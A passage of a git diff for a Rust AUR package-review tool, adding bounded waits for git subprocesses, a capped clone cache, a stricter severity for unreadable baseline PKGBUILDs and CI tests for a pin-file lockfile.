b/src/registry/aur.rs @@ -5,9 +5,13 @@ use crate::registry::{Checksum, ChecksumAlg, Ecosystem, Package, Registry, Relea use crate::version::{AurVersionInfo, VersionInfo}; use serde::Deserialize; use sha2::{Digest, Sha256}; +use std::collections::HashMap; use std::io::Read; -use std::path::Path; +#[cfg(unix)] +use std::os::unix::process::CommandExt; +use std::path::{Path, PathBuf}; use std::process::{Command, Stdio}; +use std::sync::{Mutex, PoisonError}; use ureq::Agent; const USER_AGENT: &str = concat!("blueline/", env!("CARGO_PKG_VERSION")); @@ -237,6 +241,15 @@ const MAX_GIT_SMALL_OUTPUT_BYTES: u64 = 64 * 1024; /// not hang the review forever. const GIT_TIMEOUT_SECS: u64 = 120; +/// How long a `git` invocation that has exited may keep its transport +/// children (`git-remote-https`, `ssh`, …) holding the output pipes before +/// blueline refuses to wait any longer. +const GIT_STREAM_GRACE_SECS: u64 = 5; + +/// Upper bound on pkgbase clones held for reuse within one review run; the +/// whole cache is dropped when it overflows, bounding temp disk usage. +const MAX_CACHED_CLONES: usize = 8; + /// One commit from the history walk: 40-hex hash plus committer timestamp. #[derive(Debug, Clone, PartialEq, Eq)] struct CommitMeta { @@ -287,44 +300,54 @@ fn git_spawn_error(e: &std::io::Error) -> BluelineError { /// Run the system `git` with fixed argv (never a shell), capture stdout /// capped at `max_stdout` bytes, and fail closed on any nonzero exit. Stderr -/// and stdout are drained on threads so a chatty child cannot deadlock the -/// pipes, and the child is killed if it exceeds `GIT_TIMEOUT_SECS` — a -/// remote that connects but never transfers must not hang the review. +/// and stdout are drained on detached threads so a chatty child cannot +/// deadlock the pipes, and the child is killed if it exceeds +/// `GIT_TIMEOUT_SECS` — a remote that connects but never transfers must not +/// hang the review. `git` runs in its own process group, and because its +/// transport children (`git-remote-https`, `ssh`, …) inherit the pipes and +/// can outlive it, results are received with a bounded wait instead of a +/// `join`: a transport that holds the pipes open must not hang the caller. fn git_output( dir: Option<&Path>, args: &[&str], max_stdout: u64, ) -> Result, BluelineError> { - let mut child = Command::new("git") - .args(args) + let mut cmd = Command::new("git"); + cmd.args(args) .current_dir(dir.unwrap_or(Path::new("."))) + // Error-message classification elsewhere matches git's English + // wording, so the locale must not translate it. + .env("LC_ALL", "C") .stdin(Stdio::null()) .stdout(Stdio::piped()) - .stderr(Stdio::piped()) - .spawn() - .map_err(|e| git_spawn_error(&e))?; + .stderr(Stdio::piped()); + #[cfg(unix)] + cmd.process_group(0); + let mut child = cmd.spawn().map_err(|e| git_spawn_error(&e))?; let stderr_pipe = child .stderr .take() .ok_or_else(|| BluelineError::Network("git stderr pipe unavailable".to_string()))?; - let stderr_reader = std::thread::spawn(move || { + let (stderr_tx, stderr_rx) = std::sync::mpsc::channel(); + std::thread::spawn(move || { let mut buf = Vec::new(); let _ = stderr_pipe .take(MAX_GIT_STDERR_BYTES + 1) .read_to_end(&mut buf); - buf + let _ = stderr_tx.send(buf); }); let stdout_pipe = child .stdout .take() .ok_or_else(|| BluelineError::Network("git stdout pipe unavailable".to_string()))?; - let stdout_reader = std::thread::spawn(move || { + let (stdout_tx, stdout_rx) = std::sync::mpsc::channel(); + std::thread::spawn(move || { let mut out = Vec::new(); let read_ok = stdout_pipe .take(max_stdout + 1) .read_to_end(&mut out) .is_ok(); - (read_ok, out) + let _ = stdout_tx.send((read_ok, out)); }); let deadline = std::time::Instant::now() + std::time::Duration::from_secs(GIT_TIMEOUT_SECS); let status = loop { @@ -344,12 +367,26 @@ fn git_output( Err(e) => return Err(BluelineError::Network(format!("waiting for git: {e}"))), } }; - let stderr = stderr_reader - .join() - .map_err(|_| BluelineError::Network("git stderr reader panicked".to_string()))?; - let (stdout_ok, out) = stdout_reader - .join() - .map_err(|_| BluelineError::Network("git stdout reader panicked".to_string()))?; + fn drained( + rx: std::sync::mpsc::Receiver, + what: &str, + verb: &str, + ) -> Result { + match rx.recv_timeout(std::time::Duration::from_secs(GIT_STREAM_GRACE_SECS)) { + Ok(buf) => Ok(buf), + Err(std::sync::mpsc::RecvTimeoutError::Timeout) => { + Err(BluelineError::Network(format!( + "git {verb} exited but its transport still holds the {what} pipe after \ + {GIT_STREAM_GRACE_SECS}s; refusing to wait" + ))) + } + Err(std::sync::mpsc::RecvTimeoutError::Disconnected) => Err(BluelineError::Network( + format!("git {what} reader panicked"), + )), + } + } + let stderr = drained(stderr_rx, "stderr", git_verb(args))?; + let (stdout_ok, out) = drained(stdout_rx, "stdout", git_verb(args))?; if !stdout_ok { return Err(BluelineError::Network(format!( "reading git {} output failed", @@ -513,6 +550,12 @@ pub struct AurRegistry { rpc: AurRpc, git_base: String, limits: RegistryLimits, + /// Shallow clones reused across the read-only history operations of one + /// pkgbase (resolve walk, releases walk, author lookup). Keyed by the + /// full clone url, so packages can never share a repo. `fetch_verified` + /// deliberately does not use this cache: its re-clone exists so the + /// archive bytes are a second, independent sample from the remote. + clone_cache: Mutex>, } impl AurRegistry { @@ -528,6 +571,7 @@ impl AurRegistry { rpc: AurRpc::with_limits(rpc_base, limits), git_base: git_base.trim_end_matches('/').to_string(), limits, + clone_cache: Mutex::new(HashMap::new()), } } @@ -571,6 +615,27 @@ impl AurRegistry { tempfile::tempdir().map_err(|e| BluelineError::Network(format!("creating temp dir: {e}"))) } + /// Clone `url` once and return the repo path, reusing a prior clone of + /// the same url. Read-only git operations (rev-list, show, log, archive) + /// run against the returned path. + fn cached_repo(&self, url: &str) -> Result { + let mut cache = self + .clone_cache + .lock() + .unwrap_or_else(PoisonError::into_inner); + if let Some(repo) = cache.get(url) { + return Ok(repo.path().to_path_buf()); + } + if cache.len() >= MAX_CACHED_CLONES { + cache.clear(); + } + let repo = self.temp_repo()?; + self.clone_repo(url, repo.path())?; + let path = repo.path().to_path_buf(); + cache.insert(url.to_string(), repo); + Ok(path) + } + fn resolve_package(&self, name: &str, version: &str) -> Result { if !validate_aur_name(name) { return Err(BluelineError::InvalidPackageSpec(format!( @@ -590,14 +655,13 @@ impl AurRegistry { ))); } let clone_url = self.clone_url(&pkgbase); - let repo = self.temp_repo()?; - self.clone_repo(&clone_url, repo.path())?; - let (commits, truncated) = commit_history(repo.path(), MAX_HISTORY_COMMITS)?; + let repo_path = self.cached_repo(&clone_url)?; + let (commits, truncated) = commit_history(&repo_path, MAX_HISTORY_COMMITS)?; let mut skipped = 0usize; let mut matched: Option<(&CommitMeta, AurVersionInfo)> = None; for c in &commits { - match commit_version(repo.path(), &c.hash)? { + match commit_version(&repo_path, &c.hash)? { Some(v) if v == target => { matched = Some((c, v)); break; @@ -621,7 +685,7 @@ impl AurRegistry { BluelineError::Manifest(pkgbase.clone(), msg) })?; - let bytes = self.archive_bytes(repo.path(), &commit.hash)?; + let bytes = self.archive_bytes(&repo_path, &commit.hash)?; let checksum = Checksum { alg: ChecksumAlg::Sha256, value_hex: sha256_hex(&bytes), @@ -697,9 +761,8 @@ impl AurRegistry { ))); } let clone_url = self.clone_url(&pkgbase); - let repo = self.temp_repo()?; - self.clone_repo(&clone_url, repo.path())?; - let (commits, truncated) = commit_history(repo.path(), MAX_HISTORY_COMMITS)?; + let repo_path = self.cached_repo(&clone_url)?; + let (commits, truncated) = commit_history(&repo_path, MAX_HISTORY_COMMITS)?; if truncated { return Err(BluelineError::Manifest( pkgbase, @@ -713,7 +776,7 @@ impl AurRegistry { let mut seen: Vec<(AurVersionInfo, Release)> = Vec::new(); let mut skipped = 0usize; for c in &commits { - match commit_version(repo.path(), &c.hash)? { + match commit_version(&repo_path, &c.hash)? { Some(v) => { // Commits are newest-first; keep the newest commit per // distinct version for an accurate publish time. @@ -793,11 +856,10 @@ impl Registry for AurRegistry { fn release_author(&self, pkg: &Package) -> Option { let (clone_url, commit) = parse_git_tarball_url(&pkg.tarball_url).ok()?; self.pin_clone_url(&clone_url).ok()?; - let repo = self.temp_repo().ok()?; - self.clone_repo(&clone_url, repo.path()).ok()?; - verify_commit_exists(repo.path(), &commit).ok()?; + let repo_path = self.cached_repo(&clone_url).ok()?; + verify_commit_exists(&repo_path, &commit).ok()?; let text = git_text( - Some(repo.path()), + Some(&repo_path), &["log", "-1", "--format=%ae", &commit], MAX_GIT_SMALL_OUTPUT_BYTES, ) @@ -1355,6 +1417,27 @@ mod tests { ); } + #[test] + fn cached_repo_reuses_one_clone_per_url_and_drops_overflow() { + let fx = spawn_git_fixture(); + init_fixture_repo(&fx.fixtures, "yay"); + let reg = fx.registry(); + let url = reg.clone_url("yay"); + let first = reg.cached_repo(&url).unwrap(); + let second = reg.cached_repo(&url).unwrap(); + assert_eq!(first, second, "same url must reuse the same clone"); + + // Overflowing the cache drops every entry, so the next call for the + // same url clones again into a fresh directory (old dir deleted). + for i in 0..MAX_CACHED_CLONES { + let name = format!("filler{i}"); + init_fixture_repo(&fx.fixtures, &name); + reg.cached_repo(®.clone_url(&name)).unwrap(); + } + assert!(reg.cached_repo(&url).unwrap() != first); + assert!(!first.exists(), "evicted clone must be deleted"); + } + #[test] fn fetch_tarball_fails_closed_on_tampered_integrity() { let (fx, _repo) = spawn_versioned_fixture(); diff --git a/src/review.rs b/src/review.rs index 44aa876..c107437 100644 --- a/src/review.rs +++ b/src/review.rs @@ -292,12 +292,7 @@ fn evaluate_with_registry( if ecosystem == Ecosystem::Aur { if matches!(base_pkgbuild.as_deref(), Some("")) { - verdict.findings.push(crate::verdict::Finding { - rule_id: "R00_BASELINE_UNREADABLE".to_string(), - severity: crate::verdict::VerdictBand::Low, - title: "Baseline PKGBUILD unreadable".to_string(), - description: "baseline PKGBUILD could not be read; pair rules skipped".to_string(), - }); + verdict.findings.push(baseline_unreadable_finding()); } // `None` is first sighting (no baseline package); `Some("")` is an // unreadable baseline file, already surfaced above. Both skip pair @@ -396,6 +391,17 @@ fn prepare_extracted_root( Ok((root, manifest)) } +// Pair rules cannot run against a baseline whose PKGBUILD cannot be read, +// so the refusal itself must be loud: High, matching the unparseable case. +fn baseline_unreadable_finding() -> crate::verdict::Finding { + crate::verdict::Finding { + rule_id: "R00_BASELINE_UNREADABLE".to_string(), + severity: crate::verdict::VerdictBand::High, + title: "Baseline PKGBUILD unreadable".to_string(), + description: "baseline PKGBUILD could not be read; pair rules skipped".to_string(), + } +} + fn bootstrap_hint(verdict: &crate::verdict::Verdict) -> Option { let name = &crate::render::sanitize_single_line(&verdict.name); if verdict @@ -871,6 +877,13 @@ fn package_json_path(root: &std::path::Path) -> std::path::PathBuf { mod tests { use super::*; + #[test] + fn baseline_unreadable_finding_is_high() { + let f = baseline_unreadable_finding(); + assert_eq!(f.rule_id, "R00_BASELINE_UNREADABLE"); + assert_eq!(f.severity, crate::verdict::VerdictBand::High); + } + #[test] fn parses_plain_spec() { assert_eq!( diff --git a/tests/aur_cli.rs b/tests/aur_cli.rs index f78bdf3..aa33447 100644 --- a/tests/aur_cli.rs +++ b/tests/aur_cli.rs @@ -1,6 +1,6 @@ //! End-to-end AUR CLI surface tests. `install` refuses AUR before any //! network use (building a PKGBUILD executes its shell script), and `ci` -//! rejects the ecosystem (no AUR lockfile format exists to diff). Adapter +//! accepts a pin file of `pkgbase@pkgver-pkgrel` lines to diff. Adapter //! behavior lives in `src/registry/aur.rs` unit tests and //! `tests/aur_adapter.rs`. @@ -25,22 +25,145 @@ fn install_refuses_aur_before_any_network_use() { .stderr(predicate::str::contains("executes its PKGBUILD")); } +fn init_aur_ci_repo(dir: &Path, base_content: &str, head_content: &str) { + fixture_git(dir, &["init", "--quiet", "-b", "main"]); + fixture_git(dir, &["config", "user.email", "alice@example.com"]); + fixture_git(dir, &["config", "user.name", "Fixture"]); + fixture_git(dir, &["config", "commit.gpgsign", "false"]); + std::fs::write(dir.join("aur.lock"), base_content).unwrap(); + fixture_git(dir, &["add", "-A"]); + fixture_git(dir, &["commit", "--quiet", "-m", "base pins"]); + std::fs::write(dir.join("aur.lock"), head_content).unwrap(); +} + +#[test] +fn ci_aur_passes_when_pins_are_unchanged() { + let repo = tempfile::tempdir().unwrap(); + init_aur_ci_repo(repo.path(), "demopkg@1.0-1\n", "demopkg@1.0-1\n"); + let isolated = tempfile::tempdir().unwrap(); + Command::cargo_bin("blueline") + .unwrap() + .current_dir(repo.path()) + .env("BLUELINE_DATA_DIR", isolated.path()) + .args([ + "--ecosystem", + "aur", + "ci", + "--lockfile", + "aur.lock", + "--base", + "HEAD", + ]) + .assert() + .success() + .stdout(predicate::str::contains("PASSED")); +} + #[test] -fn ci_rejects_aur_ecosystem() { +fn ci_aur_rejects_malformed_pin_file() { + let repo = tempfile::tempdir().unwrap(); + init_aur_ci_repo(repo.path(), "demopkg@1.0-1\n", "demopkg@1.0-1\nnot a pin\n"); let isolated = tempfile::tempdir().unwrap(); Command::cargo_bin("blueline") .unwrap() + .current_dir(repo.path()) .env("BLUELINE_DATA_DIR", isolated.path()) .args([ "--ecosystem", "aur", "ci", "--lockfile", - "package-lock.json", + "aur.lock", + "--base", + "HEAD", ]) .assert() .failure() - .stderr(predicate::str::contains("AUR CI scanning is not supported")); + .stderr(predicate::str::contains("line 2")); +} + +#[test] +fn ci_aur_evaluates_added_pin() { + let fixture = spawn_aur_review_fixture(); + let repo = tempfile::tempdir().unwrap(); + init_aur_ci_repo(repo.path(), "# pins\n", "demopkg@1.1-1\n"); + let isolated = tempfile::tempdir().unwrap(); + Command::cargo_bin("blueline") + .unwrap() + .current_dir(repo.path()) + .env("BLUELINE_DATA_DIR", isolated.path()) + .args([ + "--ecosystem", + "aur", + "--registry", + &fixture.base, + "ci", + "--lockfile", + "aur.lock", + "--base", + "HEAD", + ]) + .assert() + .success() + .stdout(predicate::str::contains("demopkg")) + .stdout(predicate::str::contains("1.1-1")); +} + +#[test] +fn ci_aur_evaluates_upgraded_pin() { + let fixture = spawn_aur_review_fixture(); + let repo = tempfile::tempdir().unwrap(); + init_aur_ci_repo(repo.path(), "demopkg@1.0-1\n", "demopkg@1.1-1\n"); + let isolated = tempfile::tempdir().unwrap(); + Command::cargo_bin("blueline") + .unwrap() + .current_dir(repo.path()) + .env("BLUELINE_DATA_DIR", isolated.path()) + .args([ + "--ecosystem", + "aur", + "--registry", + &fixture.base, + "ci", + "--lockfile", + "aur.lock", + "--base", + "HEAD", + ]) + .assert() + .success() + .stdout(predicate::str::contains("demopkg")) + .stdout(predicate::str::contains("1.0-1")); +} + +#[test] +fn ci_aur_missing_base_reviews_head_pins() { + let repo = tempfile::tempdir().unwrap(); + fixture_git(repo.path(), &["init", "--quiet", "-b", "main"]); + fixture_git(repo.path(), &["config", "user.email", "alice@example.com"]); + fixture_git(repo.path(), &["config", "user.name", "Fixture"]); + fixture_git(repo.path(), &["config", "commit.gpgsign", "false"]); + std::fs::write(repo.path().join("other.txt"), "unrelated\n").unwrap(); + fixture_git(repo.path(), &["add", "-A"]); + fixture_git(repo.path(), &["commit", "--quiet", "-m", "no pins yet"]); + std::fs::write(repo.path().join("aur.lock"), "# none yet\n").unwrap(); + let isolated = tempfile::tempdir().unwrap(); + Command::cargo_bin("blueline") + .unwrap() + .current_dir(repo.path()) + .env("BLUELINE_DATA_DIR", isolated.path()) + .args([ + "--ecosystem", + "aur", + "ci", + "--lockfile", + "aur.lock", + "--base", + "HEAD", + ]) + .assert() + .success() + .stdout(predicate::str::contains("PASSED")); } struct AurReviewFixture {